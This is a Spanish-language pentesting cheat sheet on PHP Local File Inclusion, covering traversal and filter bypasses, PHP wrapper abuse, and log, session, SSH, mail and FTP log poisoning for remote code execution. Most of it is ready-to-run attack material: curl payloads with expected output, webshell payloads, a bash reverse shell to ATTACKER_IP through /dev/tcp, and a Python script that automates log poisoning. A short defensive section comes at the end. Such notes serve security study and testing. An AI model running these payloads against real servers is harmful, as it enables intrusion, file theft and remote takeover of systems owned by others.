Skip to content

Local File Inclusion (LFI)

LFI ocurre cuando una aplicación web incluye dinámicamente un archivo local del servidor basándose en una entrada controlable por el usuario (típicamente un parámetro de URL), sin validar adecuadamente qué archivo se está solicitando. Esto permite a un atacante leer archivos arbitrarios del sistema y, en varios escenarios, escalar hasta ejecución remota de código (RCE).

c
http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwd

Patrones de código vulnerable

Path traversal directo (el parámetro se pasa tal cual a include()):

php
include($_GET['language']);

Con un directorio base fijo (aún vulnerable si no se valida ../):

php
include("./languages/" . $_GET['language']);

Con un prefijo de nombre de archivo:

php
include("lang_" . $_GET['language']);

Con una extensión añadida al final:

php
include($_GET['language'] . ".php");

Bypasses básicos

Filtros de path traversal no recursivos

Uno de los filtros más básicos contra LFI es un filtro de búsqueda y reemplazo que simplemente elimina las subcadenas ../ para evitar el recorrido de directorios:

php
$language = str_replace('../', '', $_GET['language']);

Como el reemplazo no es recursivo, se puede evadir anidando la secuencia de forma que, al eliminarse ../ una vez, quede otra secuencia ../ válida:

c
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd

Codificación de caracteres

Si la aplicación bloquea literalmente / o . en la entrada, se puede codificar en URL-encoding (../%2e%2e%2f), lo que a menudo evade el filtro si este se aplica antes de decodificar la URL:

c
http://<SERVER_IP>:<PORT>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
  • Herramientas útiles para esta codificación: Burp Suite Decoder, o cualquier utilidad de codificación URL en línea.
  • También existe la doble codificación (%252e%252e%252f), útil cuando hay más de una capa de decodificación entre el filtro y el uso final del valor.

Rutas aprobadas (whitelist con regex débil)

php
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}

El regex solo exige que la cadena empiece con ./languages/, pero no impide que después contenga secuencias de traversal:

c
http://<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd

Extensión añadida automáticamente

Truncamiento de ruta (Path Truncation)

En versiones antiguas de PHP (<5.3-5.4, dependiendo de configuración), el sistema de archivos truncaba rutas que excedían cierta longitud máxima, lo que permitía "desbordar" la extensión añadida repitiendo segmentos inocuos:

c
?language=non_existing_directory/../../../etc/passwd/./././. [repetir "./" ~2048 veces]
  • Técnica en gran parte obsoleta en sistemas modernos, pero vale la pena probarla en objetivos con PHP muy desactualizado.

Byte nulo (Null Byte)

En PHP < 5.3.4, se podía terminar el payload con un byte nulo (%00) para truncar la cadena antes de que se concatenara la extensión:

c
/etc/passwd%00

Esto hacía que, aunque el código añadiera .php al final (/etc/passwd%00.php), la ruta real usada por el sistema de archivos subyacente fuera solo /etc/passwd, ya que el byte nulo termina la cadena en C (el lenguaje en que está escrito el intérprete de PHP).

  • Al igual que el truncamiento de ruta, esta técnica solo funciona contra instalaciones de PHP muy antiguas y sin parchear.

PHP Wrappers y Filtros

PHP ofrece "wrappers" (envoltorios) que permiten tratar distintos protocolos/fuentes de datos como si fueran archivos locales al pasarlos a funciones como include(). Esto amplía enormemente el impacto de un LFI, permitiendo desde lectura de código fuente hasta RCE directa.

Filtros de conversión (php://filter)

c
php://filter/

Existen cuatro tipos de filtros: de cadena, de conversión, de compresión y de cifrado. El más relevante para LFI es el filtro de conversión convert.base64-encode, ya que permite leer el código fuente de archivos PHP sin que el servidor los ejecute (algo que un include() normal haría, mostrando solo el resultado renderizado en vez del código):

c
php://filter/read=convert.base64-encode/resource=config
php://filter/convert.base64-encode/resource=config
  • La forma read=convert.base64-encode es la más confiable, ya que especifica explícitamente la operación (read); la forma sin read= a veces no funciona correctamente según la versión de PHP.
bash
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config"

Decodificar el base64 obtenido:

bash
echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d

Otros filtros de conversión útiles:

c
php://filter/read=string.rot13/resource=<archivo>

Comprobar configuraciones peligrosas de PHP vía php.ini

bash
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"

Decodificar y buscar directivas peligrosas:

bash
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

# Output esperado:
allow_url_include = On
  • allow_url_include = On es el requisito indispensable para poder usar wrappers remotos (http://, ftp://) y lograr Remote File Inclusion (ver rfi.md).

Buscar extensiones peligrosas habilitadas:

bash
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep -E "^extension=|^zend_extension="
  • La presencia de extension=expect habilita el wrapper expect:// (ver más abajo), otro vector directo a RCE.

RCE con data:// (sin necesidad de allow_url_include, solo allow_url_fopen)

Codificar un webshell simple en base64:

bash
echo '<?php system($_GET["cmd"]); ?>' | base64

# Output:
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

Pasar el contenido codificado directamente como un "archivo" vía el wrapper data://:

bash
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid

# Output esperado:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • data://text/plain;base64,<payload> : el navegador/servidor interpreta el contenido después de la coma como el "archivo" a incluir — PHP lo ejecuta como si fuera un script PHP real.

Variante sin base64, con el código PHP directamente en la URL (útil cuando el sistema bloquea/detecta la firma de base64):

bash
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain,<?php system($_GET["cmd"]); ?>&cmd=id'

RCE con php://input

Envía el código PHP en el cuerpo de una petición POST, en vez de en la URL — útil para evadir WAFs que solo inspeccionan parámetros GET:

bash
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid

# Output esperado:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • Requiere que la directiva allow_url_include esté habilitada (a diferencia de data://, que solo necesita allow_url_fopen, activado por defecto en la mayoría de instalaciones).

RCE con expect://

Si la extensión expect está instalada, este wrapper ejecuta comandos del sistema directamente, sin necesidad de inyectar código PHP:

bash
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"

# Output esperado:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • expect no viene instalado por defecto en la mayoría de distribuciones — su presencia es poco común pero, cuando existe, es el vector más directo de todos.

zip:// — LFI a RCE vía archivo ZIP

c
zip://<archivo.zip>#<archivo interno>
  • Permite incluir un archivo específico dentro de un ZIP subido previamente al servidor (ver lfi_file_uploads.md para el flujo completo de explotación).

glob:// — Listado de archivos con comodines

c
glob:///var/www/html/*
  • Menos usado para RCE directa, pero útil para enumerar archivos en un directorio cuando no se conoce el nombre exacto de un archivo a incluir.

Referencias de wrappers


Log Poisoning — LFI a RCE sin subir archivos

Cuando no es posible subir un archivo directamente ni usar los wrappers data:///php://input (por ejemplo, si allow_url_include está deshabilitado y no hay extensión expect), se puede "envenenar" un archivo de log del servidor con código PHP, y luego incluir ese log vía LFI para que se ejecute.

Concepto General

La idea central del Log Poisoning es simple:

  1. Identificar logs legibles: Encontrar archivos de log que el proceso del servidor web pueda leer
  2. Inyectar código PHP: Escribir PHP en un campo que se registre en el log (User-Agent, parámetros GET, credenciales fallidas, etc.)
  3. Incluir el log vía LFI: Usar la vulnerabilidad LFI para incluir el archivo de log envenenado
  4. Ejecución: PHP ejecuta el código inyectado

Funciones vulnerables a Log Poisoning

Las siguientes funciones con privilegios de Execute son vulnerables a estos ataques:

LenguajeFunciónLee ContenidoEjecutaURL Remota
PHPinclude()/include_once()
PHPrequire()/require_once()
NodeJSres.render()
Javaimport
.NETinclude

1. Envenenamiento del Log de Apache (vía User-Agent)

El log de acceso de Apache registra la cabecera User-Agent de cada petición tal cual la envía el cliente. Si se envía un payload PHP como User-Agent, queda escrito textualmente en el log.

Ubicaciones típicas del log de Apache

  • Linux (Debian/Ubuntu): /var/log/apache2/access.log
  • Linux (RHEL/CentOS): /var/log/httpd/access_log
  • Windows (XAMPP): C:\xampp\apache\logs\access.log
  • Windows (genérico): C:\Apache\logs\access.log

Paso 1: Verificar acceso al log vía LFI

bash
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log"

Si devuelve el contenido del log, proceder al envenenamiento.

Paso 2: Envenenar con código PHP

Opción A: Con cURL y User-Agent personalizado

bash
curl -s "http://<SERVER_IP>:<PORT>/" -A "<?php system(\$_GET['cmd']); ?>"

Opción B: Guardar payload en archivo e incluirlo

bash
echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > poison_payload.txt
curl -s "http://<SERVER_IP>:<PORT>/" -H @poison_payload.txt

Opción C: Usando burp Suite

  • Interceptar una petición GET a la aplicación
  • Modificar el header User-Agent a: <?php system($_GET['cmd']); ?>
  • Enviar la petición

Paso 3: Incluir el log y ejecutar código

Una vez envenenado el log, incluirlo vía LFI para ejecutar el comando:

bash
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log&cmd=id"

Output esperado:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ejemplo completo de explotación

bash
# 1. Envenenar el log
curl -s "http://target.local:8080/" -A "<?php system(\$_GET['cmd']); ?>"

# 2. Verificar que el payload está en el log
curl -s "http://target.local:8080/index.php?language=/var/log/apache2/access.log" | grep "system"

# 3. Ejecutar comando
curl -s "http://target.local:8080/index.php?language=/var/log/apache2/access.log&cmd=whoami"

# 4. Envenenar nuevamente si necesitas otro comando (los logs se sobrescriben)
curl -s "http://target.local:8080/" -A "<?php system(\$_GET['cmd']); ?>"
curl -s "http://target.local:8080/index.php?language=/var/log/apache2/access.log&cmd=cat%20/etc/passwd"

Consideraciones importantes

  • Logs enormes: Los archivos de log pueden ser muy grandes y causar demoras o incluso crashes. Ser cuidadoso en entornos de producción.
  • Sobrescritura: El log se reescribe constantemente. Si necesitas ejecutar múltiples comandos, debes envenenar el log cada vez.
  • Mejor práctica: Usar el payload envenenado para escribir un webshell permanente o enviar una reverse shell:
bash
# Payload para escribir webshell permanente
<?php file_put_contents('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>'); ?>

# Payload para reverse shell (bash)
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"); ?>

2. Envenenamiento del Log de Nginx

Nginx también registra los User-Agent headers en sus logs de acceso. La técnica es idéntica a Apache, pero con diferentes ubicaciones.

Ubicaciones típicas del log de Nginx

  • Linux: /var/log/nginx/access.log
  • Windows: C:\nginx\logs\access.log

Diferencia clave con Apache

Nginx logs son legibles por usuarios sin privilegios (como www-data) por defecto, mientras que Apache logs requieren permisos elevados. Esto hace que Nginx sea más vulnerable a este ataque en muchos casos.

Explotación

La explotación es idéntica a Apache:

bash
# 1. Envenenar
curl -s "http://<SERVER_IP>:<PORT>/" -A "<?php system(\$_GET['cmd']); ?>"

# 2. Incluir y ejecutar
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/log/nginx/access.log&cmd=id"

3. PHP Session Poisoning

La mayoría de aplicaciones PHP utilizan cookies PHPSESSID para mantener estado de sesión. Los datos de sesión se almacenan en archivos en el servidor, frecuentemente en directorios que podemos leer e influenciar.

Ubicaciones de archivos de sesión

  • Linux: /var/lib/php/sessions/
  • Windows: C:\Windows\Temp\
  • Nombre del archivo: sess_<PHPSESSID> (donde <PHPSESSID> es el valor de la cookie)

Paso 1: Identificar el PHPSESSID

Abrir las herramientas de desarrollador del navegador (F12), ir a "Storage" o "Cookies", y buscar la cookie PHPSESSID. Supongamos que el valor es nhhv8i0o6ua4g88bkdl9u1fdsd.

Paso 2: Leer el archivo de sesión

bash
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd"

Output típico:

page|s:6:"es.php";preference|s:2:"es";

El archivo contiene la sesión serializada. Buscamos un parámetro que controlemos.

Paso 3: Encontrar parámetro controlable

Visitar la aplicación con un parámetro GET controlable que se almacene en la sesión:

bash
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=PAYLOAD_AQUI"

Luego verificar si el payload aparece en el archivo de sesión:

bash
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd"

Paso 4: Inyectar PHP

Si el parámetro language se almacena en la sesión, enviar PHP code-encoded:

bash
# Enviar payload PHP URL-encoded
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E"

# O simplemente el PHP sin codificación (si no hay validación)
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=<?php system(\$_GET['cmd']); ?>"

Paso 5: Ejecutar código

Ahora incluir el archivo de sesión y el código se ejecutará:

bash
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id"

Ejemplo completo de PHP Session Poisoning

bash
# 1. Obtener el PHPSESSID de la aplicación (observando cookies)
PHPSESSID="nhhv8i0o6ua4g88bkdl9u1fdsd"

# 2. Leer contenido del archivo de sesión
curl -s "http://target.local:8080/index.php?language=/var/lib/php/sessions/sess_${PHPSESSID}"

# 3. Envenenar con payload PHP
curl -s "http://target.local:8080/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E"

# 4. Ejecutar comando
curl -s "http://target.local:8080/index.php?language=/var/lib/php/sessions/sess_${PHPSESSID}&cmd=whoami"

# 5. Para ejecutar más comandos, repite el envenenamiento
curl -s "http://target.local:8080/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E"
curl -s "http://target.local:8080/index.php?language=/var/lib/php/sessions/sess_${PHPSESSID}&cmd=cat%20/etc/passwd"

Consideraciones

  • Serialización: Los datos en archivos de sesión están serializados. Asegurarse de que el payload se almacena sin problemas de codificación.
  • Múltiples comandos: Similar a los logs, el archivo se reescribe. Considerar escribir un webshell permanente en lugar de ejecutar comandos uno a uno.

4. Envenenamiento vía /proc/self/environ

En sistemas Linux, /proc/self/environ contiene las variables de entorno del proceso actual, incluyendo cabeceras HTTP en configuraciones Apache con mod_cgi.

Requisitos

  • Apache con mod_cgi habilitado (menos común en configuraciones modernas)
  • Permiso de lectura sobre /proc/self/environ

Explotación

bash
# 1. Envenenar con cabecera HTTP controlable
curl -s "http://<SERVER_IP>:<PORT>/" -H "X-Custom-Header: <?php system(\$_GET['cmd']); ?>"

# 2. Leer el archivo /proc/self/environ vía LFI
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/proc/self/environ" | grep -o "X-Custom-Header.*"

# 3. Si el payload está presente, ejecutar comando
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/proc/self/environ&cmd=id"

Nota: Técnica menos confiable en sistemas modernos. Probar como alternativa cuando los logs no sean accesibles.


5. Envenenamiento de Logs de SSH

Si el servicio SSH es accesible (incluso sin credenciales válidas) y podemos leer su log vía LFI, inyectar PHP en el intento de login fallido.

Ubicaciones típicas de logs SSH

  • Linux (Debian/Ubuntu): /var/log/auth.log
  • Linux (RHEL/CentOS): /var/log/secure

Explotación

bash
# 1. Intentar login SSH con usuario=payload PHP
ssh '<?php system($_GET["cmd"]); ?>'@<SERVER_IP>

# El intento fallará, pero el payload queda en el log de auth

# 2. Incluir el log vía LFI y ejecutar
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/log/auth.log&cmd=id"

Consideraciones

  • Permisos restrictivos: Los logs de auth suelen tener permisos muy restrictivos (solo root). Menos probable que funcione que con logs de Apache.
  • Patrón de registro: El nombre de usuario se registra en el intento fallido. Verificar que el payload se escribió correctamente antes de intentar la inclusión.

6. Envenenamiento de Logs de Mail

Si el servidor tiene servicio de mail (SMTP) accesible, enviar un email con PHP en el asunto o cuerpo. El log de mail registrará el contenido.

Ubicaciones típicas

  • Linux: /var/log/mail.log o /var/log/mail/*

Explotación

bash
# 1. Enviar email con payload PHP (usando telnet o herramienta SMTP)
telnet <SERVER_IP> 25
# Una vez conectado:
# EHLO attacker
# MAIL FROM:<attacker@attacker.com>
# RCPT TO:<admin@target.com>
# DATA
# Subject: <?php system($_GET['cmd']); ?>
# .
# QUIT

# 2. Incluir el log vía LFI
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/log/mail.log&cmd=id"

7. Envenenamiento de Logs de FTP

Si el servidor FTP es accesible, intentar login con usuario=payload PHP. El log registrará el intento fallido.

Ubicaciones típicas

  • Linux: /var/log/vsftpd.log

Explotación

bash
# 1. Conectar a FTP e intentar login con payload
ftp <SERVER_IP>
# Cuando pida usuario:
# <?php system($_GET["cmd"]); ?>
# (El login fallará)

# 2. Incluir el log vía LFI
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/log/vsftpd.log&cmd=id"

Log Poisoning en Windows (XAMPP)

La técnica es idéntica a Linux, pero la ruta del log cambia. En servidores Windows con XAMPP (distribución empaquetada muy común en desarrollo):

Ubicaciones en XAMPP

C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\mysql\data\<hostname>.log

Explotación en XAMPP

bash
# 1. Envenenar el log de Apache de XAMPP
curl -s "http://<SERVER_IP>:<PORT>/" -A "<?php system(\$_GET['cmd']); ?>"

# 2. Incluir vía LFI (note que C: se representa como C: o simplemente cambiar slashes)
# Windows es más flexible con separadores de ruta
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=..\..\xampp\apache\logs\access.log&cmd=whoami"

# Alternativa con forward slashes
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=../../../../xampp/apache/logs/access.log&cmd=whoami"

Herramientas y Automatización

Script Python para automatizar Log Poisoning

python
#!/usr/bin/env python3
import requests
import sys
from urllib.parse import quote

def poison_log(target_url, log_path, payload):
    """Envenenra el log con el payload PHP"""
    headers = {'User-Agent': payload}
    try:
        response = requests.get(target_url, headers=headers, timeout=5)
        print(f"[+] Log envenenado: {target_url}")
        print(f"[+] Payload: {payload}")
        return True
    except Exception as e:
        print(f"[-] Error al envenenar: {e}")
        return False

def execute_command(target_url, log_path, command):
    """Ejecuta comando a través del log incluido"""
    params = {
        'language': log_path,
        'cmd': command
    }
    try:
        response = requests.get(target_url, params=params, timeout=5)
        print(f"[+] Comando ejecutado: {command}")
        print(f"[+] Output:\n{response.text}")
        return response.text
    except Exception as e:
        print(f"[-] Error al ejecutar comando: {e}")
        return None

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Uso: {sys.argv[0]} <target_url> <log_path> <command>")
        print(f"Ej: {sys.argv[0]} 'http://target.local:8080/index.php' '/var/log/apache2/access.log' 'id'")
        sys.exit(1)
    
    target = sys.argv[1]
    log_path = sys.argv[2]
    command = sys.argv[3]
    
    # Payload PHP simple
    payload = "<?php system($_GET['cmd']); ?>"
    
    print("[*] Iniciando Log Poisoning...")
    poison_log(target, log_path, payload)
    
    # Pequeña pausa
    import time
    time.sleep(1)
    
    # Ejecutar comando
    execute_command(target, log_path, command)

Uso

bash
chmod +x log_poisoning.py
python3 log_poisoning.py 'http://target.local:8080/index.php' '/var/log/apache2/access.log' 'whoami'

Mejores prácticas defensivas contra Log Poisoning

  1. Validación estricta: Validar y sanitizar TODAS las entradas de usuario
  2. Función include() segura: Usar whitelists en lugar de inputs dinámicos
    php
    $allowed = ['es', 'en', 'fr'];
    if (in_array($_GET['language'], $allowed)) {
        include("languages/" . $_GET['language'] . ".php");
    }
  3. Desabilitar wrappers peligrosos: En php.ini
    allow_url_include = Off
    allow_url_fopen = Off
  4. Restringir permisos de logs: Los logs nunca deben ser legibles por el usuario de la aplicación web
  5. Separar logs del webroot: Almacenar logs fuera del directorio de la aplicación web
  6. Usar funciones seguras: Preferir require_once() con rutas predefinidas